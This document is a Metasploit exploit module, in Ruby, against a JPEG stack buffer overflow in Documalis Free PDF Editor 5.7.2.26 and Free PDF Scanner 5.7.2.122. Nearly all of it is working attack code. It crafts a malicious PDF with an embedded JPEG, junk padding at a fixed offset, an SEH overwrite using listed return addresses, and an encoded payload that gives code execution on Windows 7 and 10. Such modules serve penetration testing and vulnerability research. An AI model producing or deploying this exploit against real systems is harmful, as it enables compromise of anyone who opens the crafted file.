Documalis Free PDF Editor 5.7.2.26 / Documalis Free PDF Scanner 5.7.2.122 Buffer Overflow

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::PDF  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Documalis Free PDF Editor and Scanner JPEG Stack Buffer Overflow',  
'Description' => %q{  
Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not  
appropriately validate the contents of JPEG images contained within a PDF. Attackers can exploit  
this vulnerability to trigger a buffer overflow on the stack and gain remote code execution as the  
user running the Documalis Free PDF Editor or Documalis Free PDF Scanner software.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'metacom', # Vulnerability discovery and PoC  
'<metacom27[at]gmail.com>', # Metasploit module  
],  
'References' =>  
[  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'Space' => 1715,  
'DisableNops' => true  
},  
'Targets' =>  
[  
[  
'Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10',  
{  
'Ret' => 0x0040160D, # pop esi # pop ebx # ret - PDFEditor.exe  
'Offset' => 433  
}  
],  
[  
'Documalis Free PDF Scanner v.5.7.2.122 / Win 7, Win 10',  
{  
'Ret' => 0x004023FC, # pop edx # pop ebx # ret - DocumentScanner.exe  
'Offset' => 433  
}  
]  
],  
'Notes' =>  
{  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SERVICE_DOWN ],  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
},  
'Privileged' => false,  
'DisclosureDate' => 'May 22 2020',  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),  
]  
)  
end  
  
def exploit  
file_create(make_pdf)  
end  
  
def jpeg  
buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"  
buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"  
buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"  
buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"  
buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"  
buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"  
buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"  
buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"  
buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"  
buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"  
buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"  
buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"  
buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"  
buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"  
buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"  
buffer << rand_text(target['Offset']) # Junk  
buffer << generate_seh_record(target.ret)  
buffer << payload.encoded  
buffer << rand_text(2388 - buffer.length)  
buffer  
end  
  
def make_pdf  
@pdf << header  
add_object(1, '<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>')  
add_object(2, '<</Type/Outlines>>')  
add_object(3, '<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>')  
add_object(4, '[/PDF/Text/ImageC]')  
add_object(5, '<</Type/Page/Parent 3 0 R/Contents 6 0 R>>')  
stream_1 = 'stream' << eol  
stream_1 << '0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q' << eol  
stream_1 << 'endstream' << eol  
add_object(6, "<</Length 91>>#{stream_1}")  
stream = '<<' << eol  
stream << '/Width 230' << eol  
stream << '/BitsPerComponent 8' << eol  
stream << '/Name /X' << eol  
stream << '/Height 50' << eol  
stream << '/Intent /RelativeColorimetric' << eol  
stream << '/Subtype /Image' << eol  
stream << '/Filter /DCTDecode' << eol  
stream << "/Length #{jpeg.length}" << eol  
stream << '/ColorSpace /DeviceCMYK' << eol  
stream << '/Type /XObject' << eol  
stream << '>>'  
stream << 'stream' << eol  
stream << jpeg << eol  
stream << 'endstream' << eol  
add_object(7, stream)  
finish_pdf  
end  
end  
`